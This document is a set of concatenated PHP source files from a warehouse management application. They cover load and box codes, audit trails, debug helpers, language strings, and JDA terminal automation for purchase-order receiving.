//create jda transaction for pallete to box
$palletBoxResp = JdaTransaction::insert($palletizeBoxParams);
$loadingParams = array(
'module' => Config::get('transactions.module_loading'),
'jda_action' => Config::get('transactions.jda_action_loading'),
'reference' => $getLoad['load_code']
);
//create jda transaction for loading
$insertLoad = JdaTransaction::insert($loadingParams);
$docNo = $data['move_doc_number'];
$boxNo = $getUniqueBox['box_code'];
$palletNo = $getPallet['pallet_code'];
$loadNo = $getLoad['load_code'];
}
protected function getLoadCodes()
{
$loadCodes = Load::getLoadCodes();
return $loadCodes;
}
/**
* Generate Load Code
*
* @example www.example.com/picking/new/load
*
* @return load code
*/
public function generateLoadCode()
{
$loadMax = Load::select(DB::raw('max(id) as max_created, max(load_code) as load_code'))->first()->toArray();
if($loadMax['max_created'] === null) {
$loadCode = 'LD0000001';
} else {
$loadCode = substr($loadMax['load_code'], -7);
$loadCode = (int) $loadCode + 1;
$loadCode = 'LD' . sprintf("%07s", (int)$loadCode);
}
Load::create(array(
'load_code' => $loadCode)
);
$load = Load::where('load_code', '=',$loadCode)->first()->toArray();
self::generateLoadCodeAuditTrail($loadCode);
echo json_encode($load);
die();
}
public function generateLoadCodestock()
{
$taggingload = Input::get('taggingload', null);
$loadMax = Load::select(DB::raw('max(id) as max_created, max(load_code) as load_code'))->first()->toArray();
if($loadMax['max_created'] === null) {
$loadCode = 'LD0000001';
} else {
$loadCode = substr($loadMax['load_code'], -7);
$loadCode = (int) $loadCode + 1;
$loadCode = 'LD' . sprintf("%07s", (int)$loadCode);
}
Load::create(array(
'load_code' => $loadCode, 'tagging_load' => '2' )
);
$load = Load::where('load_code', '=',$loadCode)->first()->toArray();
self::generateLoadCodeAuditTrailstock($loadCode);
echo json_encode($load);
//load::getloadtagging($taggingload);
return Redirect::to('stocktransfer/stocktranferload'.$this->setURL())->with('message','Successfully Created load!!');
}
// public function createBox()
// {
// self::checkPermissions('CanAccessBoxingLoading');
// $this->data['heading_title_add'] = Lang::get('box.heading_title_add');
// $this->data['entry_store'] = Lang::get('box.entry_store');
// $this->data['entry_box_code'] = Lang::get('box.entry_box_code');
// $this->data['text_confirm_create'] = Lang::get('box.text_confirm_create');
// $this->data['text_confirm_cancel'] = Lang::get('box.text_confirm_cancel');
// $this->data['button_submit'] = Lang::get('box.button_submit');
// $this->data['button_cancel'] = Lang::get('box.button_cancel');
// $this->data['button_back'] = Lang::get('box.button_back');
// $this->data['error_required_fields'] = Lang::get('box.error_required_fields');
// $this->data['url_back'] = URL::to('box/list' . $this->setURL());
// $this->data['url_create'] = 'box/create' . $this->setURL();
// $stores = Store::lists( 'store_name', 'store_code');
// $this->data['stores'] = $stores;
// $this->data['filter_store'] = Input::get('filter_store', NULL);
// $this->data['filter_box_code'] = Input::get('filter_box_code', NULL);
// $this->data['sort'] = Input::get('sort', 'store');
// $this->data['order'] = Input::get('order', 'ASC');
// $this->data['page'] = Input::get('page', 1);
// $this->data['error'] = '';
// if (Session::has('error')) $this->data['error'] = Session::get('error');
// $this->data['permissions'] = unserialize(Session::get('permissions'));
// $this->layout->content = View::make('box.create', $this->data);
// }
// public function updateBox()
// {
// self::checkPermissions('CanAccessBoxingLoading');
// $boxCode = Input::get('box_code');
// $this->data['heading_title_update'] = Lang::get('box.heading_title_update');
// $this->data['entry_store'] = Lang::get('box.entry_store');
// $this->data['entry_box_code'] = Lang::get('box.entry_box_code');
// $this->data['text_confirm_update'] = Lang::get('box.text_confirm_update');
// $this->data['text_confirm_cancel'] = Lang::get('box.text_confirm_cancel');
// $this->data['button_submit'] = Lang::get('box.button_submit');
// $this->data['button_cancel'] = Lang::get('box.button_cancel');
// $this->data['button_back'] = Lang::get('box.button_back');
// $this->data['error_required_fields'] = Lang::get('box.error_required_fields');
// $this->data['url_back'] = URL::to('box/list' . $this->setURL());
// $this->data['url_update'] = 'box/update'. $this->setURL();
// $stores = Store::lists( 'store_name', 'store_code');
// $this->data['stores'] = $stores;
// $this->data['box_details'] = Box::where('box_code', '=', $boxCode)->first();
// if($this->data['box_details'] === null) {
// return Redirect::to('box/list');
// }
// $this->data['filter_store'] = Input::get('filter_store', NULL);
// $this->data['filter_box_code'] = Input::get('filter_box_code', NULL);
// $this->data['sort'] = Input::get('sort', 'store');
// $this->data['order'] = Input::get('order', 'ASC');
// $this->data['page'] = Input::get('page', 1);
// $this->data['error'] = '';
// if (Session::has('error')) $this->data['error'] = Session::get('error');
// $this->data['permissions'] = unserialize(Session::get('permissions'));
// $this->layout->content = View::make('box.update', $this->data);
// }
// public function exportDetailsCSV() {
// //TODO
// ///Check Permissions
// $box_code = Input::get('box_code', NULL);
// $this->data = Lang::get('box');
// $this->data['text_empty_results'] = Lang::get('general.text_empty_results');
// $arrParams = array(
// 'sort' => Input::get('sort', 'sku'),
// 'order' => Input::get('order', 'ASC'),
// 'filter_sku' => Input::get('filter_sku', 'filter_sku'),
// 'filter_store' => NULL,
// 'filter_box_code' => NULL,
// 'filter_status' => NULL,
// 'page' => NULL,
// 'limit' => NULL
// );
// // $ld_info = Letdown::getLetDownInfo($ld_id);
// $results = BoxDetails::getBoxDetails($box_code, $arrParams);
// $this->data['results'] = $results;
// $pdf = App::make('dompdf');
// $pdf->loadView('box.report_detail', $this->data)->setPaper('a4')->setOrientation('landscape');
// // return $pdf->stream();
// return $pdf->download('box_detail_' . date('Ymd') . '.pdf');
// }
// public function exportBoxes()
// {
// self::checkPermissions('CanExportBoxingLoading');
// $this->data = Lang::get('box');
// $this->data['text_empty_results'] = Lang::get('general.text_empty_results');
// $arrParams = array(
// 'filter_store' => Input::get('filter_store', NULL),
// 'filter_box_code' => Input::get('filter_box_code', NULL),
// 'sort' => Input::get('sort', 'store'),
// 'order' => Input::get('order', 'ASC'),
// 'page' => NULL,
// 'limit' => NULL
// );
// $results = Box::getBoxesWithFilters($arrParams)->toArray();
// $this->data['results'] = $results;
// $pdf = App::make('dompdf');
// $pdf->loadView('box.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// // return $pdf->stream();
// return $pdf->download('box_' . date('Ymd') . '.pdf');
// }
// public function deleteBoxes()
// {
// self::checkPermissions('CanAccessBoxingLoading');
// try {
// $data = Input::all();
// DB::beginTransaction();
// $boxCodes = explode(",", Input::get('box_codes'));
// foreach ($boxCodes as $boxCode) {
// Box::deleteByBoxCode($boxCode);
// }
// self::deleteBoxesAuditTrail(Input::get('box_codes'));
// DB::commit();
// return Redirect::to(URL::to('box/list' . $this->setURL() ))->with("message", Lang::get('box.text_success_delete'));
// } catch (Exception $e) {
// DB::rollback();
// return Redirect::to(URL::to('box/list' . $this->setURL() ))->withErrors(Lang::get('box.text_fail_delete'));
// }
// }
// public function postUpdateBox()
// {
// self::checkPermissions('CanAccessBoxingLoading');
// try {
// $input = Input::all();
// $input['in_use'] = Config::get('box_statuses.not_in_use');
// DB::beginTransaction();
// $boxDetails = BoxDetails::getBoxDetailCount($input['box_code']);
// if($boxDetails > 0) throw new Exception("Box details already exists");
// Box::updateBox($input);
// $storeName = Store::getStoreName($input['store']);
// self::postUpdateBoxAuditTrail($input['box_code'], $storeName);
// DB::commit();
// return Redirect::to(URL::to('box/update' . $this->setURL(). '&box_code=' . $input['box_code']))->with('message', Lang::get('box.text_success_update'));
// } catch (Exception $e) {
// DB::rollback();
// return Redirect::to(URL::to('box/update' . $this->setURL() . '&box_code=' . $input['box_code']))->withErrors(Lang::get('box.text_fail_update') . ': ' . $input['box_code']);
// }
// }
// public function postCreateBox()
// {
// self::checkPermissions('CanAccessBoxingLoading');
// try {
// #box format: [{storecode}-00001] (eg 0005-00001)
// $input = Input::all();
// DB::beginTransaction();
// if(! is_numeric($input['box_range']) || (int) $input['box_range'] == 0 || $input['box_range'] < 0 ) throw new Exception ('Invalid input.');
// $storeCode = $input['store'];
// $numberOfBoxes = (int)$input['box_range'];
// if(strlen($storeCode) == 1) $newStoreCodeFormat = "000{$storeCode}";
// else if(strlen($storeCode) == 2) $newStoreCodeFormat = "00{$storeCode}";
// else if(strlen($storeCode) == 3) $newStoreCodeFormat = "0{$storeCode}";
// else if(strlen($storeCode) == 4) $newStoreCodeFormat = "{$storeCode}";
// else throw new Exception("Invalid store");
// #check if a record exist in that store
// $box = Box::where('box_code', 'LIKE', "{$newStoreCodeFormat}%")->max('box_code');
// #if result is empty follow the format
// if($box == null) $box = $newStoreCodeFormat."00000";
// #if exists get the latest then increment box
// $formattedBoxCode = array();
// $containerBox = array(); //use for audit trail
// foreach(range(1, $numberOfBoxes) as $number) {
// $boxCode = substr($box, -5);
// $boxCode = (int) $boxCode + $number;
// $formattedBoxCode[$number]['box_code'] = $newStoreCodeFormat . sprintf("%05s", (int)$boxCode);
// $formattedBoxCode[$number]['store_code'] = $storeCode;
// $formattedBoxCode[$number]['created_at'] = date('Y-m-d H:i:s');
// $containerBox[] = $newStoreCodeFormat . sprintf("%05s", (int)$boxCode);
// }
// /*print_r($formattedBoxCode);
// die();*/
// Box::insert($formattedBoxCode);
// $storeName = Store::getStoreName($storeCode);
// $max = max(array_keys($containerBox));
// if(count($containerBox) > 2) $boxCodeInString = $containerBox[0] . " - " . $containerBox[$max];
// else $boxCodeInString = implode(',', $containerBox);
// self::postCreateBoxAuditTrail($boxCodeInString, $storeName);
// DB::commit();
// return Redirect::to(URL::to('box/create' . $this->setURL()))->with('message', Lang::get('box.text_success_create'));
// } catch (Exception $e) {
// DB::rollback();
// // return Redirect::to(URL::to('box/create' . $this->setURL()))->withErrors(Lang::get('box.text_fail_create') . ': ' . $input['store']);
// return Redirect::to(URL::to('box/create' . $this->setURL()))->withErrors($e->getMessage());
// }
// }
protected function checkPermissions($permission)
{
if (Session::has('permissions')) {
if (!in_array($permission, unserialize(Session::get('permissions')))) {
return Redirect::to('load/shipping' . $this->setURL());
}
} else {
return Redirect::to('users/logout');
}
}
protected function setURL($forDetail = false, $forBackToList = false) {
$url = '?filter_store=' . Input::get('filter_store', NULL);
$url .= '&filter_box_code=' . Input::get('filter_box_code', NULL);
// Search Filters
if($forDetail) {
$url .= '&sort_back=' . Input::get('sort', 'box_code');
$url .= '&order_back=' . Input::get('order', 'ASC');
$url .= '&page_back=' . Input::get('page', 1);
} else {
if($forBackToList == true) {
$url .= '&sort=' . Input::get('sort_back', 'box_code');
$url .= '&order=' . Input::get('order_back', 'ASC');
$url .= '&page=' . Input::get('page_back', 1);
} else {
$url .= '&sort=' . Input::get('sort', 'box_code');
$url .= '&order=' . Input::get('order', 'ASC');
$url .= '&page=' . Input::get('page', 1);
}
}
return $url;
}
protected function postCreateBoxAuditTrail($boxCode, $storeName)
{
// echo '<pre>'; print_r($boxCode); die();
$dataBefore = '';
$dataAfter = 'User '. $this->user->username . ' created a box with code ' . $boxCode. ' for ' . $storeName;
$arrParams = array(
'module' => Config::get('audit_trail_modules.boxing'),
'action' => Config::get('audit_trail.create_box'),
'reference' => 'Box code # ' . $boxCode,
'data_before' => $dataBefore,
'data_after' => $dataAfter,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
protected function postUpdateBoxAuditTrail($boxCode, $storeName)
{
$user = User::find(Auth::user()->id);
$dataBefore = '';
$dataAfter = 'User '. $this->user->username . ' reassigned box with code ' . $boxCode. ' to ' . $storeName;
$arrParams = array(
'module' => Config::get('audit_trail_modules.boxing'),
'action' => Config::get('audit_trail.update_box'),
'reference' => $boxCode,
'data_before' => $dataBefore,
'data_after' => $dataAfter,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
protected function deleteBoxesAuditTrail($boxCode)
{
$dataBefore = '';
$dataAfter = 'User '. $this->user->username . ' deleted box/es with code ' . $boxCode . '.';
$arrParams = array(
'module' => Config::get('audit_trail_modules.boxing'),
'action' => Config::get('audit_trail.delete_box'),
'reference' => $boxCode,
'data_before' => $dataBefore,
'data_after' => $dataAfter,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Audit trail for generating load code
*
* @example self::generateLoadCodeAuditTrail()
*
* @param $loadCodeload code
* @return void
*/
private function generateLoadCodeAuditTrail($loadCode)
{
$data_after = 'Pell number : '.$loadCode . ' generated by : ' . Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.loading/shipping"),
'action' => Config::get("audit_trail.generate_load_code"),
'reference' => 'Pell number : ' . $loadCode,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
private function generateLoadCodeAuditTrailstock($loadCode)
{
$data_after = 'Subloc transfer Pell number : '.$loadCode . ' generated by : ' . Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.subloc_loading"),
'action' => Config::get("audit_trail.generate_load_code"),
'reference' => 'Pell number : ' . $loadCode,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Audit trail for picklist loading
*
* @example self::loadBoxesAuditTrail()
*
* @param $boxCodes box codes
* @param $loadCode load code
* @return void
*/
private function loadBoxesAuditTrail($boxCodes, $loadCode)
{
$boxCodes = implode(',', $boxCodes);
$data_after = 'Box code # '.$boxCodes . ' loaded to Load # ' . $loadCode .' by '. Auth::user()->username;
$arrParams = array(
'module' => Config::get("audit_trail_modules.boxing"),
'action' => Config::get("audit_trail.box_load"),
'reference' => 'Box code # ' . $boxCodes,
'data_before' => '',
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
private function getStockPilers()
{
$stock_pilers = array();
foreach (User::getStockPilerOptions() as $item) {
$stock_pilers[$item->id] = $item->firstname . ' ' . $item->lastname;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
private function getLoadnumberOpenToTLnumberposted()
{
$stock_pilers = array();
foreach (load::getLoadnumberOpen() as $item) {
$stock_pilers[$item->id] = $item->load_code;
}
return array('' => Lang::get('general.text_select')) + $stock_pilers;
}
public function assignPilerForm() {
if (Session::has('permissions')) {
if (!in_array('CanAssignPacking', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
}
} else {
return Redirect::to('users/logout');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$sort = Input::get('sort', 'box_code');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data = Lang::get('box');
$this->data['doc_no'] = Input::get('box_code');
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['button_assign'] = Lang::get('general.button_assign');
$this->data['button_cancel'] = Lang::get('general.button_cancel');
$this->data['url_back'] = URL::to('picking/list'). $this->setURL();
$this->data['params'] = explode(',', Input::get('box_code'));
$this->data['info'] = Box::getInfoByBoxNos($this->data['params']);
$this->layout->content = View::make('box.assign_piler_form', $this->data);
}
/**
* Assign stock piler to purchase order
*
* @example www.example.com/purchase_order/assign_to_piler
*
* @param po_no int Purchase order number
* @param stock_piler int Stock piler id
* @return Status
*/
public function assignToStockPiler() {
// Check Permissions
$pilers = implode(',' , Input::get('stock_piler'));
//get moved_to_reserve id
//$arrParams = array('data_code' => 'BOX_STATUS_TYPE', 'data_value'=> 'assigned');
//$boxStatus = Dataset::getType($arrParams)->toArray();
$arrBoxCode = explode(',', Input::get("doc_no"));
foreach ($arrBoxCode as $box_codes) {
$arrParams = array(
'userid' => $pilers,
'updated_at' => date('Y-m-d H:i:s')
);
Box::assignToStockPiler($box_codes, $arrParams);
// AuditTrail
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
$data_before = '';
$data_after = 'Box Code: ' . $box_codes . ' assigned to ' . $fullname;
$arrParams = array(
'module' => Config::get('audit_trail_modules.boxing'),
'action' => Config::get('audit_trail.update_box'),
'reference' => $box_codes,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
// AuditTrail
}
return Redirect::to('box/list' . $this->setURL())->with('message', Lang::get('box.text_success_assign'));
}
} <file_sep><?php
/**
* Common debugging functions
*
* @package SSI-WMS
* @subpackage Common
* @category Helpers
* @author <NAME> | <EMAIL> | <EMAIL>
* @version Version 1.0
*
*/
class DebugHelper {
/**
* uses vardump on a variable
*
* @param (mixed) $var variable to be dumped
* @param (boolean) $do_log write to log file
* @param (boolean) $is_die execute php DIE
**/
public static function varDump($var,$is_die = TRUE,$do_log = TRUE,$die_marker = 'xxxDEBUGxxx')
{
echo "<pre>";
var_dump($var);
echo "</pre>";
if($do_log === TRUE) Log::info(__METHOD__ .' dump: '.print_r($var,true));
if($is_die === TRUE) die($die_marker);
}
/**
* uses vardump on a variable
*
* @param (mixed) $var variable to be dumped
* @param (boolean) $do_log write to log file
* @param (boolean) $is_die execute php DIE
**/
public static function printR($method, $var,$is_die = TRUE,$do_log = TRUE,$die_marker = 'xxxDEBUGxxx')
{
if($is_die === TRUE) {
echo "<pre>";
print_r($var);
echo "</pre>";
}
if($do_log === TRUE) Log::info($method .' dump: '.print_r($var,true));
if($is_die === TRUE) die($die_marker);
}
/**
* output sql statement
*
* @param (boolean) $is_die execute php DIE
* @param (boolean) $do_log write to log file
**/
public static function outputSql($method, $is_die = TRUE, $do_log = TRUE) {
$queries = DB::getQueryLog();
$last_query = end($queries);
if($do_log === TRUE) Log::info($method .' dump: '.print_r($last_query,true));
if($is_die) DebugHelper::printR($method, $last_query);
}
/**
* Log sql statement
*
**/
public static function log($method, $var="") {
$queries = DB::getQueryLog();
$last_query = end($queries);
Log::info($method .' dump: '.print_r($last_query,true));
}
/**
* Log variable
*
**/
public static function logVar($method, $var) {
Log::info($method .' dump: '.print_r($var,true));
}
}<file_sep><?php
return array(
'heading_title' => 'Shipping',
'text_success_assign' => 'Successfully assigned TL number!',
'text_success_shipped' => 'Successfully shipped',
'text_warning' => 'Close PO?',
'text_confirm_load' => 'Continue to ship this?',
'text_total' => 'Total:',
'text_ship' => 'No',
'text_shipped' => 'Yes',
'text_empty_results' => 'No Results Found',
'label_load' => 'Load no.',
'label_status' => 'Shipped Status',
'label_jda_sync' => 'Latest JDA Sync Date:',
'label_app_sync' => 'Latest App Sync Date:',
'label_filter_load_code' => 'Load No.',
'label_invoice_number' => 'Invoice Number',
'col_pell_no_label' => 'Pell number :',
'header_pell_list' => 'Pell number list',
'pell_no_th' => 'Pell no.',
'button_close_po' => 'Close PO',
'button_assign_to_stock_piler' => 'Assign to Stock Piler',
'button_search' => 'Search',
'button_clear' => 'Clear',
'button_export' => 'Export to PDF',
'button_ship' => 'Ship',
'button_shipped' => 'Shipped',
'button_gnerteload' => 'Generate load',
'col_id' => 'Id.',
'col_load_no' => 'Load no.',
'col_status' => 'Is shipped',
'col_action' => 'Action',
'col_A_loNum' => 'Assign Box no.',
'col_mts_report' => 'Print MTS List',
'col_load_sheet' => 'Print Load Sheet',
'error_cancel' => 'Canceled transaction.',
);<file_sep><?php
class BaseController extends Controller {
private $data = array();
/**
* Setup the layout used by the controller.
*
* @return void
*/
protected function setupLayout()
{
CommonHelper::globalXssClean();
date_default_timezone_set('Asia/Manila');
if ( ! is_null($this->layout))
{
$this->data['menu_wh_receiving'] = Lang::get('general.menu_wh_receiving');
$this->data['menu_purchase_orders'] = Lang::get('general.menu_purchase_orders');
$this->data['menu_inventory'] = Lang::get('general.menu_inventory');
$this->data['menu_transfers'] = Lang::get('general.menu_transfers');
$this->data['menu_letdown'] = Lang::get('general.menu_letdown');
$this->data['menu_picking'] = Lang::get('general.menu_picking');
$this->data['menu_shipping'] = Lang::get('general.menu_shipping');
$this->data['menu_carton'] = Lang::get('general.menu_carton');
$this->data['menu_load'] = Lang::get('general.menu_load');
$this->data['menu_str_receiving'] = Lang::get('general.menu_str_receiving');
$this->data['menu_store_order'] = Lang::get('general.menu_store_order');
$this->data['menu_store_return'] = Lang::get('general.menu_store_return');
$this->data['menu_reports'] = Lang::get('general.menu_reports');
$this->data['menu_product_master_list'] = Lang::get('general.menu_product_master_list');
$this->data['menu_slot_master_list'] = Lang::get('general.menu_slot_master_list');
$this->data['menu_vendor_master_list'] = Lang::get('general.menu_vendor_master_list');
$this->data['menu_store_master_list'] = Lang::get('general.menu_store_master_list');
$this->data['menu_audit_trail'] = Lang::get('general.menu_audit_trail');
$this->data['menu_unlisted_list'] = Lang::get('general.menu_unlisted_list');
$this->data['menu_expiry_items'] = Lang::get('general.menu_expiry_items');
$this->data['menu_system'] = Lang::get('general.menu_system');
$this->data['menu_settings'] = Lang::get('general.menu_settings');
$this->data['menu_users'] = Lang::get('general.menu_users');
$this->data['menu_user_roles'] = Lang::get('general.menu_user_roles');
$this->data['menu_profile'] = Lang::get('general.menu_profile');
$this->data['menu_change_password'] = Lang::get('general.menu_change_password');
$this->data['menu_logout'] = Lang::get('general.menu_logout');
$this->data['title_brand'] = Lang::get('general.title_brand');
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make($this->layout, $this->data);
}
}
}<file_sep><?php
$sql = <<<SQL
Update wms_sku_on_dock set total_qty_delivered= 0 where total_qty_remaining = 0;
SQL;
$db = array(
"hostname" => "localhost",
"user" => "root",
"password" => '<PASSWORD>',
"db_name" => "ssi"
);
$dsn = "mysql:dbname=" . $db["db_name"] . ";host=" . $db["hostname"];
try {
$pdo = new PDO($dsn, $db["user"], $db["password"]);
$result = $pdo->exec($sql);
var_dump($result);
} catch (Exception $e) {
echo "Connection failed: " . $e->getMessage();
echo "\n";
}
?>
<file_sep><?php
class SlotDetailsSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
SlotDetails::truncate();
SlotDetails::create(array(
"slot_id" => 541,
"sku" =>900026,
"quantity" => 2
));
}
}<file_sep><?php
return array(
'heading_title' => 'Store Return',
'heading_title_so_details' => 'Store Return Details',
'heading_title_so_contents' => 'Store Return Contents',
'heading_title_assign_store_return' => 'Assign Store Return/s to Stock Piler',
'text_success_close_so' => 'Successfully closed the SO!',
'reverse_text_successfully' => 'Successfully closed the MTS number!',
'text_closed_so' => 'Closed',
'text_warning' => 'Close Store Order',
'text_generate_letdown' => 'Generate Letdown list',
'text_print_manifest' => 'Print Delivery Manifest',
'text_success_generated' => 'Letdown list Generated',
'text_confirm_assign' => 'Assign selected items?',
'heading_title_reverse' => 'Reverse Logistic List',
'button_close_picklist' => 'CLOSE',
'label_store_order_no' => 'Transfer No.:',
'label_store' => 'Store:',
'label_order_date' => 'Delivered Date:',
'label_dispatch_date' => 'Shipped Date:',
'label_status' => 'Status:',
'label_receiver' => 'Receiver:',
'label_jda_sync' => 'Latest JDA Sync Date:',
'label_app_sync' => 'Latest App Sync Date:',
'store_order_no' => 'Transfer No.:',
'entry_stock_piler' => 'Stock Piler:',
'button_close_so' => 'Close SO',
'button_generate_letdown' => 'Generate Letdown list',
'button_print_manifest' => 'Print Delivery Manifest',
'button_close_store_return' => 'Close',
'button_assign_to_stock_piler' => 'Assign to Stock Piler',
'col_no' => 'No.',
'col_so_no' => 'Transfer No.',
'col_store' => 'Store',
'col_tl_number' => 'TL number',
'col_store_name' => 'Store Name',
'col_order_date' => 'Delivered Date',
'col_status' => 'Status',
'col_ld_status' => 'Letdown Status',
'col_load_code' => 'Load code',
'col_action' => 'Action',
'col_box_no' => 'Box No.',
'col_issued' => 'Issued',
'col_received' => 'Received',
'col_receiving_stock_piler' => 'Receiving Stock Piler',
'col_damaged' => 'Damaged',
'col_sku' => 'SKU',
'col_upc' => 'UPC',
'col_short_name' => 'Short Name',
'col_allocated_quantity' => 'Allocated Quantity',
'col_delivered_quantity' => 'Shipped Qty',
'col_picked_quantity' => 'Packed Quantity',
'col_packed_quantity' => 'Packed Quantity',
'col_slot_no' => 'Slot No.',
'col_expiry_date' => 'Expiry Date',
'col_moved_to_picking' => 'Brought to Picking Zone?',
'error_so_details' => 'No Store Order Details found!',
'error_letdown_list_details'=> 'Can\'t Generate Letdown list',
'error_assign' => 'Please select the items to be assigned',
'entry_so_no' => 'Store Return No.:',
'entry_stock_piler' => 'Stock Piler:',
'text_success_assign' => 'Successfully assigned the Return to Warehouse!',
'text_posted' => 'Posted',
'text_success_posted' => 'Successfully closed store return!',
);<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class poReceiving extends jdaCustomClass
{
private static $formMsg = "";
public static $user = 'SYS';
/*
RECEIVING OF PO/ dock check of PO - DONE STATUS
08
02
02
receiver_no to enter: 20210
tab
enter
tab for invoice number
tab to received by: SYS
tab invoice amount : 1
tab
tab
tab
tab
tab
tab
tab
tab
tab
tab to checked by: SYS
ENTER
F1
F7
*/
public function __construct() {
// parent::__construct();
self::$formMsg = __METHOD__;
parent::logError(self::$formMsg, __METHOD__);
parent::login();
}
private static function enterMerchandising()
{
#enter merchandising
parent::$jda->screenWait("Merchandise Receiving");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("08",22,44)),ENTER,true);
echo "Entered: Merchandise Receiving \n";
}
private static function enterStoreReceivingMenu()
{
parent::$jda->screenWait("Store Receiving Menu");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("02",22,44)),ENTER,true);
echo "Entered: Store Receiving Menu \n";
}
private static function enterDockReceipt()
{
parent::$jda->screenWait("Dock Receipt and Check-In");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("02",22,44)),ENTER,true);
echo "Entered: Dock Receipt and Check-In \n";
}
public function enterReceiverNumber($receiver_no, $back_order)
{
parent::$jda->screenWait("Receiver Number");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%10d", $receiver_no),8,45);
$formValues[] = array(sprintf("%2d", $back_order),14,45);
parent::$jda->write5250($formValues,ENTER,true);
return self::checkReceiverNumber($receiver_no,__METHOD__);
}
private static function checkReceiverNumber($receiver_no,$source)
{
if(parent::$jda->screenCheck('This receiver number does not exist')) {
$receiver_message='This receiver number does not exist';
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Receiver is already being received by another user.')) {
$receiver_message='Receiver is already being received by another user.';
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
// self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
//won't happen in the live environment
if(parent::$jda->screenCheck('Receipt is already being processed through')) {
$receiver_message="Receipt is already being processed through 'RF' or 'single'.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('You cannot receive this receiver at this time')) {
$receiver_message="You cannot receive this receiver at this time";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('This receiver has been detail received, cannot dock receive.')) {
$receiver_message="This receiver has been detail received, cannot dock receive.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('This dock location is invalid for this warehouse.')) {
$receiver_message="This dock location is invalid for this warehouse.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
if(parent::$jda->screenCheck('Ship via cannot be left blank.')) {
$receiver_message="Ship via cannot be left blank.";
self::$formMsg = "{$receiver_no}: {$receiver_message}";
parent::logError(self::$formMsg, __METHOD__);
self::updateSyncStatus($receiver_no,"{$source}: {$receiver_message}", TRUE);
return false;
}
echo self::$formMsg;
return true;
}
public function enterPOForm($receiver, $slot_code, $shipment_reference_no)
{
// $receiver_no = $receiver['reference'];
parent::$jda->screenWait("Date Received");
parent::display(parent::$jda->screen,132);
self::enterPoStoreReceipt($receiver, $slot_code, $shipment_reference_no);
}
private static function enterPoStoreReceipt($receiver, $slot_code, $shipment_reference_no) {
$invoice_amt = 1; //set 1 for now
$formValues = array();//values to enter to form
$formValues[] = array(self::$user,12,69); //enter receive by
$formValues[] = array($shipment_reference_no,13,20); //enter ship via
$formValues[] = array(sprintf("%6s", $slot_code),16,72); //enter slot
$formValues[] = array(self::$user,17,72); //enter checked by
parent::$jda->write5250($formValues,ENTER,true);
